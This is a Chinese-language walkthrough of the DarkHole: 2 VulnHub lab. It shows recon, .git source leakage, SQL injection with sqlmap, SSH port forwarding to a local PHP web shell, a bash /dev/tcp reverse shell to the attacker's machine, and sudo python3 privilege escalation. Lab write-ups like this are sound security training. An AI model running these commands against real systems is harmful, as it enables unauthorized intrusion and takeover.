DarkHole: 2

NoCirc1e發表於2024-05-05

靶機描述

靶機地址:https://download.vulnhub.com/darkhole/darkhole_2.zip

Description

Difficulty:Hard
This works better with VMware rather than VirtualBox
Hint: Don't waste your time For Brute-Force

資訊收集

主機發現

利用arp-scan -l命令掃描靶機IP

arp-scan -l

image.png

開放埠服務資訊獲取

nmap -v -T4 -p- -A -oN nmap.log 192.168.75.170

發現.git洩露
image.png

目錄掃描

dirsearch -u http://192.168.75.170/

image.png

gobuster dir -u http://192.168.75.170/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x .php,.txt,.html,.zip

image.png

.git原始碼洩露漏洞

下載.git

wget -r http://192.168.75.170/.git //-r遞迴下載所有檔案

建立一個git儲存庫"webapp",我們可以在其中執行所有git操作

git clone . webapp

image.png
檢視login.php,我們看到了登入邏輯,並對輸入引數進行了轉義,防止注入
image.png
git log檢視更新
image.png
看到第2次更新時,login.php使用了預設憑證
因此,我們將HEAD切換到該提交,並檢視login.php
image.png
找到了使用者名稱和密碼,然後登陸平臺
image.png

SQL隱碼攻擊

URL上,我們看到一個GET引數id,當我們改變它的值時,我們也可以觀察到頁面的變化
id=null時,資料為空
image.png
sqlmap跑一下
image.png
在ssh表裡發現了一個賬號密碼,我們可以拿來連線ssh
image.png

SSH登入

image.png
許可權提升一般透過檢視sudo許可權,發現具有特殊許可權的檔案,發現秘密檔案,還有一些歷史記錄,定時任務,系統軟體版本漏洞等
這道題這裡採用的是定時任務,輸入命令檢視定時任務

cat /etc/crontab

image.png
可以看到執行了一個php伺服器在9999埠上,使用者為losy,我們可以嘗試去看一下原始碼
image.png
發現居然是一個一句話木馬,我們可以透過攜帶我們想要執行的命令的cmd引數訪問這個連結就可以以losy的身份執行命令
不過這個連結只能本地訪問,因為我們已經獲取了目標靶機的一個使用者,所以我們可以使用SSH的本地轉發功能(SSH -L)
這個功能是在本地監聽一個埠,但該埠的連線被轉發到遠端主機的特定埠。相當於把遠端埠對映到本地,即“將遠端埠放在本地”
如下例子將監聽本地9999埠,任何訪問9999的客戶端,都相當於遠端訪問example.com的80埠,但是流量是透過remote.server,並且所有流量都被加密

ssh -L 0.0.0.0:9999:example.com:80 user@remote.server

還有一種變體,目標主機與代理主機可以是同一臺主機,即將remote.server服務對映到本地

ssh -L 0.0.0.0:9999:127.0.0.1:6379 user@remote.server

我們使用這個命令將目標靶機的本地9999對映到本地9999埠

ssh -L 9999:127.0.0.1:9999 jehad@192.168.75.170

image.png
然後我們在瀏覽器中訪問9999埠,傳入cmd引數
image.png
可以看到,使用者為losy,我們可以反彈一個losy的shell

bash -c 'bash -i >& /dev/tcp/192.168.75.150/9000 0>&1'

進行URL編碼後

bash%20-c%20'bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.75.150%2F9000%200%3E%261'

利用nc -nvlp 9000在本地開啟監聽,然後將上面命令作為cmd引數訪問,從而拿到shell,然後對shell進行升級

python3 -c 'import pty;pty.spawn("/bin/bash")'

image.png
image.png

提權

sudo -l 查詢發現可以使用python3提權
image.png

sudo /usr/bin/python3 -c  "import os;os.system('/bin/bash')"

image.png